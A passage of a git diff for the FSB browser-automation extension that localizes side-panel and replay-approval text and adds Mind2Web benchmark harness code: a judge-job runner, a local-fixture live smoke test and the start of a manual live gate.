'; return; } @@ -6436,27 +6584,27 @@ async function loadHistoryList() { : ''; var idleClosed = session.status === 'expired' || (session.status === 'stopped' && session.outcomeDetails?.reason === 'idle_timeout'); - var statusLabel = idleClosed ? 'Idle-closed' : (session.status || 'unknown'); + var statusLabel = idleClosed ? spLine('Idle-closed') : (session.status || 'unknown'); var statusClass = idleClosed ? 'idle-closed' : (session.status || ''); var hasReplayDetails = (session.actionCount > 0) || !!session.replayIntegrity; return '
' + '
' + - '
' + escapeHtml(session.task || 'Unknown task') + '
' + + '
' + escapeHtml(session.task || spLine('Unknown task')) + '
' + '
' + '' + formatSessionDate(session.startTime) + '' + - '' + (session.actionCount || 0) + ' actions' + + '' + escapeHtml(spLine('$COUNT$ actions', { count: session.actionCount || 0 })) + '' + costDisplay + (session.mode === 'mcp-agent' ? 'MCP · ' + escapeHtml(session.mcpClient || 'Agent') + '' - : 'Autopilot') + + : '' + escapeHtml(spLine('Autopilot')) + '') + '' + escapeHtml(statusLabel) + '' + '
' + '
' + (hasReplayDetails ? - '' : '') + - '' + '
'; @@ -6465,7 +6613,7 @@ async function loadHistoryList() { console.error('Failed to load history list:', error); historyList.innerHTML = '
' + '' + - '

Failed to load sessions.

' + + '

' + escapeHtml(spLine('Failed to load sessions.')) + '

' + '
'; } } @@ -6515,7 +6663,7 @@ function renderReplayDecisionPrompt(request) { } } catch (error) { Array.from(actions.querySelectorAll('button')).forEach((item) => { item.disabled = false; }); - addMessage('Could not apply replay decision: ' + error.message, 'error'); + addMessage('Could not apply replay decision: $ERROR$', 'error', undefined, { error: error.message }); } }); actions.appendChild(button); @@ -6540,7 +6688,9 @@ function renderReplayPreview(preview) { const heading = document.createElement('div'); heading.className = 'replay-preview-heading'; - heading.textContent = 'Verified replay preview'; + heading.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(heading, 'Verified replay preview') + : 'Verified replay preview'; card.appendChild(heading); const meta = document.createElement('div'); @@ -6556,7 +6706,11 @@ function renderReplayPreview(preview) { const origin = document.createElement('div'); origin.className = 'replay-preview-origin'; try { origin.textContent = 'Fresh tab: ' + new URL(preview.startUrl).origin; } - catch (_error) { origin.textContent = 'Fresh recorded-site tab'; } + catch (_error) { + origin.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(origin, 'Fresh recorded-site tab') + : 'Fresh recorded-site tab'; + } card.appendChild(origin); const timeline = document.createElement('div'); @@ -6604,8 +6758,25 @@ function renderMcpReplayApproval(approval) { const tabCount = Math.max(1, approval.preview.tabs?.length || 0); const highImpact = (approval.preview.steps || []) .filter((step) => step.replay?.availability === 'approval-per-step').length; - copy.textContent = `An MCP client requested this replay in ${tabCount} fresh tab${tabCount === 1 ? '' : 's'}. ` + - `One approval covers only the exact verified manifest${highImpact ? `, including ${highImpact} high-impact step${highImpact === 1 ? '' : 's'}` : ''}.`; + var tabSentence = (globalThis.fsbUiLocale && fsbUiLocale.line) + ? fsbUiLocale.line(tabCount === 1 + ? 'An MCP client requested this replay in $COUNT$ fresh tab.' + : 'An MCP client requested this replay in $COUNT$ fresh tabs.', { count: tabCount }) + : (tabCount === 1 + ? 'An MCP client requested this replay in $COUNT$ fresh tab.' + : 'An MCP client requested this replay in $COUNT$ fresh tabs.').replace('$COUNT$', String(tabCount)); + var impactSentence = highImpact + ? ((globalThis.fsbUiLocale && fsbUiLocale.line) + ? fsbUiLocale.line(highImpact === 1 + ? 'One approval covers only the exact verified manifest, including $COUNT$ high-impact step.' + : 'One approval covers only the exact verified manifest, including $COUNT$ high-impact steps.', { count: highImpact }) + : (highImpact === 1 + ? 'One approval covers only the exact verified manifest, including $COUNT$ high-impact step.' + : 'One approval covers only the exact verified manifest, including $COUNT$ high-impact steps.').replace('$COUNT$', String(highImpact))) + : ((globalThis.fsbUiLocale && fsbUiLocale.line) + ? fsbUiLocale.line('One approval covers only the exact verified manifest.') + : 'One approval covers only the exact verified manifest.'); + copy.textContent = tabSentence + ' ' + impactSentence; card.appendChild(copy); const actions = document.createElement('div'); @@ -6614,10 +6785,13 @@ function renderMcpReplayApproval(approval) { approve.type = 'button'; approve.className = 'replay-decision-btn retry'; approve.textContent = 'Approve replay'; + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(approve, 'Approve replay'); const cancel = document.createElement('button'); cancel.type = 'button'; cancel.className = 'replay-decision-btn stop'; - cancel.textContent = 'Cancel'; + cancel.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(cancel, 'Cancel') + : 'Cancel'; actions.appendChild(approve); actions.appendChild(cancel); card.appendChild(actions); @@ -6647,7 +6821,7 @@ function renderMcpReplayApproval(approval) { } catch (error) { setDisabled(false); completeStatusMessage('Replay error', 'error'); - addMessage('Failed to start requested replay: ' + error.message, 'error'); + addMessage('Failed to start requested replay: $ERROR$', 'error', undefined, { error: error.message }); } }); cancel.addEventListener('click', async () => { @@ -6663,7 +6837,7 @@ function renderMcpReplayApproval(approval) { addMessage('Replay request cancelled. No target tabs were opened.', 'system'); } catch (error) { setDisabled(false); - addMessage('Could not cancel replay request: ' + error.message, 'error'); + addMessage('Could not cancel replay request: $ERROR$', 'error', undefined, { error: error.message }); } }); @@ -6696,11 +6870,8 @@ async function startReplay(sessionId) { renderReplayPreview(preview); if (preview.truncated) { - addMessage( - `This recording is inspect-only because only the latest ${preview.steps.length} of ` + - `${preview.totalSourceSteps} recorded calls are available. Earlier browser state cannot be reconstructed safely.`, - 'system' - ); + addMessage('This recording is inspect-only because only the latest $LATEST$ of $TOTAL$ recorded calls are available. Earlier browser state cannot be reconstructed safely.', + 'system', undefined, { latest: preview.steps.length, total: preview.totalSourceSteps }); return; } @@ -6716,10 +6887,20 @@ async function startReplay(sessionId) { const approvals = []; if (onceSteps.length > 0) approvals.push(`${onceSteps.length} write step${onceSteps.length === 1 ? '' : 's'}`); if (perStep.length > 0) approvals.push(`${perStep.length} high-impact step${perStep.length === 1 ? '' : 's'}`); - const summary = `Replay this verified timeline in ${tabCount} fresh tab${tabCount === 1 ? '' : 's'}?` + - (approvals.length > 0 - ? ` This one approval covers the exact signed manifest: ${approvals.join(' and ')}.` - : ' The timeline contains only read and navigation steps.'); + const tabQuestion = (globalThis.fsbUiLocale && fsbUiLocale.line) + ? fsbUiLocale.line(tabCount === 1 + ? 'Replay this verified timeline in $COUNT$ fresh tab?' + : 'Replay this verified timeline in $COUNT$ fresh tabs?', { count: tabCount }) + : (tabCount === 1 + ? 'Replay this verified timeline in $COUNT$ fresh tab?' + : 'Replay this verified timeline in $COUNT$ fresh tabs?').replace('$COUNT$', String(tabCount)); + const summary = approvals.length > 0 + ? tabQuestion + ' ' + ((globalThis.fsbUiLocale && fsbUiLocale.line) + ? fsbUiLocale.line('This one approval covers the exact signed manifest: $DETAIL$.', { detail: approvals.join(' and ') }) + : 'This one approval covers the exact signed manifest: $DETAIL$.'.replace('$DETAIL$', approvals.join(' and '))) + : tabQuestion + ' ' + ((globalThis.fsbUiLocale && fsbUiLocale.line) + ? fsbUiLocale.line('The timeline contains only read and navigation steps.') + : 'The timeline contains only read and navigation steps.'); if (!confirm(summary)) { addMessage('Replay cancelled. The original recording was not changed.', 'system'); return; @@ -6745,7 +6926,7 @@ async function startReplay(sessionId) { } } catch (error) { completeStatusMessage('Replay error', 'error'); - addMessage('Failed to start replay: ' + error.message, 'error'); + addMessage('Failed to start replay: $ERROR$', 'error', undefined, { error: error.message }); } } @@ -6872,12 +7053,12 @@ async function loadSessionView(sessionId) { } catch (error) { console.error('Failed to load session view:', error); - addMessage('Failed to load session: ' + error.message, 'error'); + addMessage('Failed to load session: $ERROR$', 'error', undefined, { error: error.message }); } } async function clearAllHistorySessions() { - if (!confirm('Delete all session history? This cannot be undone.')) return; + if (!confirm(spLine('Delete all session history? This cannot be undone.'))) return; try { const response = await chrome.runtime.sendMessage({ action: 'clearSessionHistory' }); if (!response?.success) throw new Error(response?.error || 'Failed to clear session history'); @@ -6911,112 +7092,51 @@ function escapeHtml(str) { return div.innerHTML; } +// escapeHtml() leaves quotes alone, which breaks attribute values. +function escapeAttr(str) { + return String(str == null ? '' : str).replace(/[<>&"']/g, c => ({'<':'<','>':'>','&':'&','"':'"',"'":'''}[c])); +} -console.log(`FSB v${chrome.runtime.getManifest().version} side panel script loaded`); +// Side panel copy from the exact maps (ui-locale.js and copy-exact.js). +function spLine(english, subs) { + if (globalThis.fsbUiLocale && typeof fsbUiLocale.line === 'function') return fsbUiLocale.line(english, subs); + if (!subs) return english; + return english.replace(/\$([A-Za-z0-9_]+)\$/g, (all, name) => { + const value = subs[name] != null ? subs[name] : subs[name.toLowerCase()]; + if (value && typeof value === 'object' && !Array.isArray(value) + && Object.prototype.hasOwnProperty.call(value, 'english') && typeof value.english === 'string') { + return spLine(value.english, value.subs); + } + return value == null ? all : String(value); + }); +} -// ========================================== -// /agent Slash Command Handler -// ========================================== +function actionCountTemplate(count) { + return count === 1 ? '$COUNT$ action completed' : '$COUNT$ actions completed'; +} + +function actionCountLabel(count) { + return spLine(actionCountTemplate(count), { count }); +} -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// function handleAgentCommand(message) { -// const parts = message.split(/\s+/); -// const subCommand = parts[1] || ''; -// -// if (subCommand === 'list') { -// showAgentList(); -// } else if (subCommand === 'stop') { -// const agentName = parts.slice(2).join(' '); -// stopAgentByName(agentName); -// } else { -// startAgentWizard(); -// } -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// async function showAgentList() { -// try { -// const response = await new Promise(resolve => { -// chrome.runtime.sendMessage({ action: 'listAgents' }, resolve); -// }); -// -// const agents = response?.agents || []; -// if (agents.length === 0) { -// addMessage('No background agents configured. Use /agent to create one.', 'system'); -// return; -// } -// -// let listText = 'Background Agents:\n'; -// for (const agent of agents) { -// const status = agent.enabled ? '[ON]' : '[OFF]'; -// const lastRun = agent.lastRunAt ? new Date(agent.lastRunAt).toLocaleString() : 'Never'; -// listText += `\n${status} ${agent.name} - ${formatScheduleShort(agent.schedule)} - Last: ${lastRun}`; -// } -// addMessage(listText, 'system'); -// } catch (error) { -// addMessage('Failed to load agents: ' + error.message, 'error'); -// } -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// async function stopAgentByName(name) { -// if (!name) { -// addMessage('Usage: /agent stop ', 'system'); -// return; -// } -// -// try { -// const response = await new Promise(resolve => { -// chrome.runtime.sendMessage({ action: 'listAgents' }, resolve); -// }); -// -// const agents = response?.agents || []; -// const agent = agents.find(a => a.name.toLowerCase().includes(name.toLowerCase())); -// -// if (!agent) { -// addMessage('Agent not found: "' + name + '"', 'error'); -// return; -// } -// -// if (!agent.enabled) { -// addMessage('Agent "' + agent.name + '" is already disabled.', 'system'); -// return; -// } -// -// const toggleResp = await new Promise(resolve => { -// chrome.runtime.sendMessage({ action: 'toggleAgent', agentId: agent.agentId }, resolve); -// }); -// -// if (toggleResp.success) { -// addMessage('Agent "' + agent.name + '" has been disabled.', 'system'); -// } else { -// addMessage('Failed to stop agent: ' + (toggleResp.error || 'Unknown error'), 'error'); -// } -// } catch (error) { -// addMessage('Error: ' + error.message, 'error'); -// } -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// function startAgentWizard() { -// chrome.runtime.openOptionsPage(); -// setTimeout(() => { -// chrome.runtime.sendMessage({ action: 'openAgentForm' }); -// }, 500); -// addMessage('Opening agent settings... Use the form in the options page to create your agent.', 'system'); -// } - -// DEPRECATED v0.9.45rc1: superseded by OpenClaw / Claude Routines -- see PROJECT.md -// function formatScheduleShort(schedule) { -// if (!schedule) return 'Not set'; -// switch (schedule.type) { -// case 'interval': -// return 'Every ' + (schedule.intervalMinutes || 1) + ' min'; -// case 'daily': -// return 'Daily at ' + (schedule.dailyTime || '09:00'); -// case 'once': -// return 'Run once'; -// default: -// return schedule.type; -// } -// } +// The count keeps its catalog key, so a language change rewrites it before +// the next action arrives. +function setActionCount(el, count) { + if (!el) return; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(el, actionCountTemplate(count), { count }); + else el.textContent = actionCountLabel(count); +} + + +console.log(`FSB v${chrome.runtime.getManifest().version} side panel script loaded`); + +if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { + if (typeof fsbUiLocale.onChange === 'function') fsbUiLocale.onChange(_relabelDelegationStop); + fsbUiLocale.boot().then(function () { + fsbUiLocale.apply(document); + if (typeof _renderHeaderStatus === 'function') _renderHeaderStatus(); + // A delegated run hydrated before the catalogs loaded left an English + // accessible name on Stop; boot() does not notify onChange listeners. + _relabelDelegationStop(); + }); +} diff --git a/extension/ui/ui-locale-page.js b/extension/ui/ui-locale-page.js new file mode 100644 index 000000000..df71d3628 --- /dev/null +++ b/extension/ui/ui-locale-page.js @@ -0,0 +1,22 @@ +/** + * Locale boot for extension pages that have no page script of their own to + * start it (control panel, unlock, microphone permission). + * + * Kept out of the HTML because MV3's default CSP (`script-src 'self'`) + * blocks inline scripts on extension pages. Depends on + * extension/utils/ui-locale.js loading first. + */ +(function () { + 'use strict'; + var locale = globalThis.fsbUiLocale; + if (!locale || typeof locale.boot !== 'function') return; + locale.boot().then(function () { + if (typeof locale.mountSelect === 'function') { + locale.mountSelect(document.getElementById('fsbUiLocaleSelect')); + } + // refresh() applies the catalog and also runs page callbacks registered + // with onChange (the control panel's custom dropdowns, for one). + if (typeof locale.refresh === 'function') locale.refresh(); + else locale.apply(document); + }); +})(); diff --git a/extension/ui/unlock.html b/extension/ui/unlock.html index e2b8bb9f0..87d762b0f 100644 --- a/extension/ui/unlock.html +++ b/extension/ui/unlock.html @@ -2,7 +2,7 @@ - Unlock FSB + Unlock FSB + +
+

FSB manual browser gate

+

+ + +
+
+
+
+
+ + + + +
+ +

+

+  
+
+ + + diff --git a/mind2web/harness/focus.mjs b/mind2web/harness/focus.mjs new file mode 100644 index 000000000..ead477f42 --- /dev/null +++ b/mind2web/harness/focus.mjs @@ -0,0 +1,8 @@ +import { runCommand } from './proc.mjs'; + +export async function checkFocus(run = runCommand) { + if (process.platform !== 'darwin') return { ok: false, error: 'The live rig currently supports macOS only' }; + const name = await run('osascript', ['-l', 'JavaScript', '-e', 'ObjC.import("AppKit"); $.NSWorkspace.sharedWorkspace.frontmostApplication.localizedName.js']); + const frontmost = name.stdout.trim(); + return { ok: name.code === 0 && /Chrome for Testing/.test(frontmost), frontmost }; +} diff --git a/mind2web/harness/judge-jobs.mjs b/mind2web/harness/judge-jobs.mjs new file mode 100644 index 000000000..83b29c3ef --- /dev/null +++ b/mind2web/harness/judge-jobs.mjs @@ -0,0 +1,110 @@ +import { readFile } from 'node:fs/promises'; +import path from 'node:path'; +import { BENCH_ROOT, runCommand } from './proc.mjs'; +import { atomicJson, acquireRunLock } from './run-state.mjs'; +import { writeReport } from './report.mjs'; +import { writeManualReport } from './manual-report.mjs'; +import { waitForResource } from './readiness.mjs'; +import { FAMILY, MODEL, EFFORT, JUDGE_ENGINE, CLAUDE_CLI } from './model-family.mjs'; +import { PROFILE_ID, PUBLIC_PROFILE_ID } from './browser-manual-profile.mjs'; + +const manualProfile = manifest => [PROFILE_ID, PUBLIC_PROFILE_ID].includes(manifest.profile); + +export const JUDGE_PROTOCOL = 'scorefield-v2'; +export function judgeMatrix({ syntheticModels = false } = {}) { + return (syntheticModels ? ['official'] : ['official', 'strict']).flatMap(variant => + (syntheticModels ? [1] : [1, 2, 3]).map(pass => ({ engine: syntheticModels ? 'fake' : JUDGE_ENGINE, + variant, pass, id: `${syntheticModels ? 'fake' : JUDGE_ENGINE}-${variant}-pass${pass}`, status: 'pending' }))); +} + +async function circuitGate(file) { + let document; + try { document = JSON.parse(await readFile(file, 'utf8')); } + catch (error) { if (error.code === 'ENOENT') return null; throw error; } + if (document.format_version !== 1 || document.policy?.id !== 'codex-circuit-v2') throw new Error('Invalid shared model circuit'); + const state = document.families?.[FAMILY]; + if (!state || state.state === 'closed') return null; + if (!['open', 'half_open', 'blocked'].includes(state.state)) throw new Error('Invalid shared circuit state'); + if (state.state === 'half_open') { + try { process.kill(state.probe.pid, 0); } + catch (error) { if (error.code === 'ESRCH') return null; if (error.code !== 'EPERM') throw error; } + } + if (state.state === 'open' && state.not_before_epoch <= Date.now() / 1000) return null; + return state; +} + +export async function runJudgeJobs(options) { + const { runDir, manifest } = options; + const release = manualProfile(manifest) ? await acquireRunLock(runDir) : async () => {}; + try { return await runJudgeJobsLocked(options); } finally { await release(); } +} + +async function runJudgeJobsLocked({ runDir, manifest, passes = 3, syntheticModels = false, + wait = false, waitMs = 60_000, signal, run = runCommand, sleep = waitForResource, + shouldStop = () => false, circuitState = manifest.circuit_state ?? path.join(runDir, 'model-circuit.json'), + model = MODEL, effort = EFFORT, cli = CLAUDE_CLI }) { + if (!syntheticModels && (passes !== 3 || manifest.judge_protocol !== JUDGE_PROTOCOL)) { + throw new Error(`A new scorefield-v2 run with exactly six ${JUDGE_ENGINE} jobs is required`); + } + if (manualProfile(manifest) && (!manifest.collection_complete || manifest.state !== 'collected' || manifest.task_ids.length !== 300)) { + throw new Error('Fresh judging requires all300 tasks collected before inputs are frozen'); + } + const checkpoint = path.join(runDir, 'judge-jobs.json'); + let previous; + try { previous = JSON.parse(await readFile(checkpoint, 'utf8')); } + catch (error) { if (error.code !== 'ENOENT') throw error; } + const jobs = judgeMatrix({ syntheticModels }); + if (previous && (previous.judge_protocol !== JUDGE_PROTOCOL || + JSON.stringify(previous.jobs.map(job => job.id)) !== JSON.stringify(jobs.map(job => job.id)))) { + throw new Error('Refusing to replace a different or historical judge matrix'); + } + while (!signal?.aborted && !shouldStop()) { + let blocked = null; + for (const job of jobs) { + if (signal?.aborted || shouldStop()) break; + if (job.status === 'complete') continue; + blocked = syntheticModels ? null : await circuitGate(circuitState); + if (blocked) break; + const summaryPath = path.join(runDir, 'judge', job.id, 'summary.json'); + // Every job enters run_pass at startup, including cached complete jobs, so + // input and evaluator fingerprints are verified before accepting summaries. + const result = await run(path.join(BENCH_ROOT, 'judge/.venv/bin/python'), + ['-m', 'om2w_judge.runner', '--engine', job.engine, '--model', syntheticModels ? 'fake' : model, + ...(syntheticModels ? [] : ['--cli', cli]), + '--effort', effort, '--variant', job.variant, '--pass_number', String(job.pass), + '--judge-protocol', JUDGE_PROTOCOL, '--retry_errors', '--num_workers', '10', + '--engine-concurrency', '10', '--attempts', '3', '--transport-attempts', '2', + '--circuit-state', path.resolve(circuitState), + '--trajectories_dir', path.join(runDir, 'trajectories'), '--output_path', path.join(runDir, 'judge'), + '--task_ids', path.join(runDir, 'task-ids.json')], + { cwd: path.join(BENCH_ROOT, 'judge'), env: { ...process.env, PYTHONPATH: path.join(BENCH_ROOT, 'judge') }, + timeoutMs: 24 * 3600_000, signal }); + let summary = await readFile(summaryPath, 'utf8').then(JSON.parse).catch(() => null); + const emittedSummary = result.stdout.split('\n').some(line => { + try { const row = JSON.parse(line); return row.expected === manifest.task_ids.length && + row.judge_protocol === JUDGE_PROTOCOL && typeof row.pending_judgments === 'number'; } + catch { return false; } + }); + if (!summary || !emittedSummary || (result.code !== 0 && ![1, 75].includes(result.code))) { + // A stale summary cannot turn a fingerprint refusal into completion. + throw new Error(`Judge job ${job.id} failed configuration or worker validation`); + } + if (summary.judge_protocol !== JUDGE_PROTOCOL || summary.expected !== manifest.task_ids.length || + summary.workers !== 10 || summary.engine_concurrency !== 10 || summary.global_cli_limit !== 10) { + throw new Error('Judge summary violates the pinned protocol or concurrency'); + } + job.summary = summary; + job.status = summary.pending_judgments === 0 ? 'complete' : 'pending'; + await atomicJson(checkpoint, { complete: jobs.every(j => j.status === 'complete'), jobs, + judge_protocol: JUDGE_PROTOCOL, scope: syntheticModels ? 'synthetic' : `${JUDGE_ENGINE}_only`, + active_jobs_limit: 1, task_workers: 10, engine_concurrency: 10, global_cli_limit: 10, + circuit_state: path.resolve(circuitState), updated_at: new Date().toISOString() }); + await (manualProfile(manifest) ? writeManualReport : writeReport)(runDir, manifest); + if (summary.pending_judgments) { blocked = summary.circuit ?? { state: 'open' }; break; } + } + if (jobs.every(job => job.status === 'complete')) return { complete: true, jobs, judge_protocol: JUDGE_PROTOCOL }; + if (!wait || signal?.aborted || shouldStop() || blocked?.state === 'blocked') break; + await sleep(Math.min(60_000, Math.max(1000, waitMs)), signal); + } + return { complete: false, jobs, judge_protocol: JUDGE_PROTOCOL }; +} diff --git a/mind2web/harness/live-smoke.mjs b/mind2web/harness/live-smoke.mjs new file mode 100644 index 000000000..cd5494a84 --- /dev/null +++ b/mind2web/harness/live-smoke.mjs @@ -0,0 +1,98 @@ +import assert from 'node:assert/strict'; +import { createServer } from 'node:http'; +import { mkdir, readFile, writeFile } from 'node:fs/promises'; +import { existsSync } from 'node:fs'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { BENCH_ROOT, REPO_ROOT } from './proc.mjs'; +import { RecordingProxy, resultData, resultOK } from './mcp-record-proxy.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; + +export const HTML = `FSB live integration fixture + +

Widget Store — FSB live test

Local test data. No purchases or accounts.

+
+ +

No filters applied.

  • Blue Widget — $19.99
  • Red Widget — $29.99
+`; + +export async function liveSmoke({ outputDir, command } = {}) { + outputDir = path.resolve(outputDir ?? path.join(REPO_ROOT, '.context/om2w', `live-fsb-${Date.now()}`)); + if (existsSync(path.join(outputDir, 'raw/steps.jsonl'))) throw new Error('Choose a new output directory; previous live evidence is retained'); + command ??= [process.execPath, path.join(homedir(), '.fsb/native-host/runtime/package/build/index.js'), 'stdio']; + if (!Array.isArray(command) || !command.length || command.some(value => typeof value !== 'string')) throw new Error('Invalid FSB server command'); + await mkdir(outputDir, { recursive: true }); + await writeFile(path.join(outputDir, 'task-ids.json'), JSON.stringify(['99999999999999999999999999999999']) + '\n'); + await writeFile(path.join(outputDir, 'manifest.json'), JSON.stringify({ synthetic: true, real_fsb: true, benchmark_result: false, driver: 'scripted real FSB integration smoke', source: 'local fixture plus example.com' }, null, 2) + '\n'); + const server = createServer((_req, res) => { res.writeHead(200, { 'content-type': 'text/html; charset=utf-8' }); res.end(HTML); }); + await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); + const startUrl = `http://127.0.0.1:${server.address().port}/`; + const allowlist = JSON.parse(await readFile(path.join(BENCH_ROOT, 'config/tool-allowlist.json'), 'utf8')); + const proxy = new RecordingProxy({ command, rawDir: path.join(outputDir, 'raw'), startUrl, allowlist }); + const summary = { started_at: new Date().toISOString(), source: 'real FSB extension via existing bridge relay', benchmark_result: false, checks: [], output_dir: outputDir }; + async function call(name, args = {}, { allowFailure = false } = {}) { + const result = await proxy.handle('tools/call', { name, arguments: args }); + const data = resultData(result); + summary.checks.push({ tool: name, ok: resultOK(result), data }); + console.log(JSON.stringify({ tool: name, ok: resultOK(result), detail: JSON.stringify(data).slice(0, 450) })); + if (!allowFailure) assert.ok(resultOK(result), `${name}: ${JSON.stringify(data)}`); + return data; + } + try { + await proxy.handle('initialize', { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'FSB live integration smoke', version: '1' } }); + proxy.upstream.notify('notifications/initialized'); + const tools = (await proxy.handle('tools/list')).tools; + assert.equal(tools.length, Object.keys(allowlist.actions).length + allowlist.reads.length); + summary.allowed_tools = tools.map(t => t.name); + await call('read_page'); + await call('type_text', { selector: '#query', text: 'Widget', clear_first: true, visual_reason: 'Fill the local test product search' }); + await call('select_option', { selector: '#color', value: 'blue', visual_reason: 'Choose the blue product filter in the local fixture' }); + await call('click', { selector: '#apply', visual_reason: 'Apply filters in the local test fixture' }); + const products = JSON.stringify(await call('get_text', { selector: '#results' })); + assert.ok(products.includes('Blue Widget') && products.includes('$19.99') && !products.includes('Red Widget'), 'Rendered product filter result is incorrect'); + const status = JSON.stringify(await call('get_text', { selector: '#status' })); + assert.ok(status.includes('Applied color: blue')); + await call('navigate', { url: 'https://example.com/', visual_reason: 'Verify public-page navigation in the owned smoke-test tab' }); + const publicPage = JSON.stringify(await call('read_page')); + assert.ok(/documentation examples|Example Domain/i.test(publicPage), 'Public-page content is unexpected'); + await call('go_back', { visual_reason: 'Return to the local test fixture' }, { allowFailure: true }); + if (!summary.checks.at(-1).ok) await call('navigate', { url: startUrl, visual_reason: 'Recover from the recorded Back failure and return to the local fixture' }); + const finalPage = JSON.stringify(await call('read_page')); + assert.ok(finalPage.includes('Blue Widget'), 'Back navigation did not return to the fixture'); + const task = { task_id: '99999999999999999999999999999999', confirmed_task: 'Filter the local Widget Store to blue products, read the Blue Widget price, verify example.com displays its documentation-example notice and return to the store.', website: startUrl, reference_length: 6, level: 'easy' }; + await writeFile(path.join(outputDir, 'raw/final.json'), JSON.stringify({ task_id: task.task_id, model: 'scripted-real-FSB-smoke', outcome: 'complete', final_answer: 'Blue Widget: $19.99. example.com displays its documentation-example notice. Returned to the local store.' }, null, 2) + '\n'); + const written = await writeV2({ task, rawDir: path.join(outputDir, 'raw'), outDir: path.join(outputDir, 'trajectories') }); + summary.validation = await validateTrajectoryDir(written.dir); + assert.ok(summary.validation.ok, summary.validation.errors.join('; ')); + summary.steps = written.steps; + summary.pipeline_ok = true; + summary.failed_checks = summary.checks.filter(check => !check.ok).map(check => check.tool); + summary.ok = summary.failed_checks.length === 0; + } catch (err) { + summary.ok = false; + summary.error = err.message; + console.error(err.message); + } finally { + if (proxy.tabId !== null) { + try { + const cleanup = await proxy.upstream.request('tools/call', { name: 'close_tab', arguments: { tab_id: proxy.tabId, allow_active: true, visual_reason: 'Close only the temporary tab created by this smoke test', client: 'Claude' } }); + summary.cleanup_ok = resultOK(cleanup); + } catch (err) { summary.cleanup_error = err.message; } + } + await proxy.close(); + await new Promise(resolve => { server.close(resolve); server.closeAllConnections(); }); + summary.ended_at = new Date().toISOString(); + await writeFile(path.join(outputDir, 'summary.json'), JSON.stringify(summary, null, 2) + '\n'); + } + return summary; +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const { values } = parseArgs({ options: { output: { type: 'string' }, 'fsb-server-cmd': { type: 'string' } } }); + const summary = await liveSmoke({ outputDir: values.output, command: values['fsb-server-cmd'] ? JSON.parse(values['fsb-server-cmd']) : undefined }); + console.log(JSON.stringify({ ok: summary.ok, pipeline_ok: summary.pipeline_ok, failed_checks: summary.failed_checks, output_dir: summary.output_dir, error: summary.error, steps: summary.steps, cleanup_ok: summary.cleanup_ok })); + if (!summary.ok) process.exitCode = 1; +} diff --git a/mind2web/harness/manual-live-gate.mjs b/mind2web/harness/manual-live-gate.mjs new file mode 100644 index 000000000..8edc7459b --- /dev/null +++ b/mind2web/harness/manual-live-gate.mjs @@ -0,0 +1,561 @@ +import assert from 'node:assert/strict'; +import { createHash, randomUUID } from 'node:crypto'; +import { createServer } from 'node:http'; +import { mkdir, readFile, readdir, writeFile } from 'node:fs/promises'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { parseArgs } from 'node:util'; +import { ManualRecordingProxy } from './manual-recording-proxy.mjs'; +import { BrowserScheduler } from './browser-scheduler.mjs'; +import { ALLOWED_TOOLS, PROFILE } from './browser-manual-profile.mjs'; +import { ownedTabsFromResult } from './owned-task-session.mjs'; +import { resultData, resultOK } from './mcp-record-proxy.mjs'; +import { inspectPng } from './png.mjs'; +import { writeV2 } from './v2-writer.mjs'; +import { validateTrajectoryDir } from './validate-v2.mjs'; +import { percentile } from './manual-pilot.mjs'; +import { QUEUE_TIMEOUT_CODES, MISSING_QUEUE_EXPORT_CODES, queueTimingEvidence } from './queue-timing.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const ROOT = path.resolve(HERE, '../..'); +export const FIXTURE_PATH = path.join(HERE, 'fixtures/manual-live-gate.html'); +export const DEFAULT_PROFILE_PATH = path.resolve(HERE, '../config/browser-manual-v2.json'); +const digest = bytes => createHash('sha256').update(bytes).digest('hex'); +const json = value => JSON.stringify(value, null, 2) + '\n'; +const imageBlocks = result => (result?.content ?? []).filter(item => item.type === 'image'); + +export async function settleOperations(operations) { + const settled = await Promise.allSettled(operations); + const failure = settled.find(row => row.status === 'rejected'); + if (failure) throw failure.reason; + return settled.map(row => row.value); +} + +export function refForLabel(snapshot, label) { + const escaped = label.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + const matches = [...snapshot.matchAll(new RegExp(`\\b(e\\d+):\\s+[^\\s\x60]+\\s+"${escaped}"`, 'g'))]; + assert.equal(matches.length, 1, `Expected exactly one snapshot ref for ${label}`); + return matches[0][1]; +} + +export function javascriptValue(rows) { + const row = rows.find(value => value.result !== undefined || value.value !== undefined); + assert.ok(row, 'execute_js returned no value'); + const value = row.result ?? row.value; + return typeof value === 'string' ? JSON.parse(value) : value; +} + +export function hoverDispatchObserved(state, before) { + const valid = value => value && ['hovered', 'hover_synthetic', 'hover_trusted'] + .every(key => Number.isSafeInteger(value[key]) && value[key] >= 0) + && value.hovered === value.hover_synthetic + value.hover_trusted; + return valid(before) && valid(state) + && state.hover_synthetic === before.hover_synthetic + 1 + && state.hover_trusted >= before.hover_trusted; +} + +// The gate consumes the result, then records its delivery before another call can use the frame. +export async function callActorTool(proxy, name, args = {}, { allowFailure = false, observeCompletedUnknown = false, imageCount } = {}) { + const result = await proxy.handle('tools/call', { name, arguments: args }); + const rows = resultData(result), images = 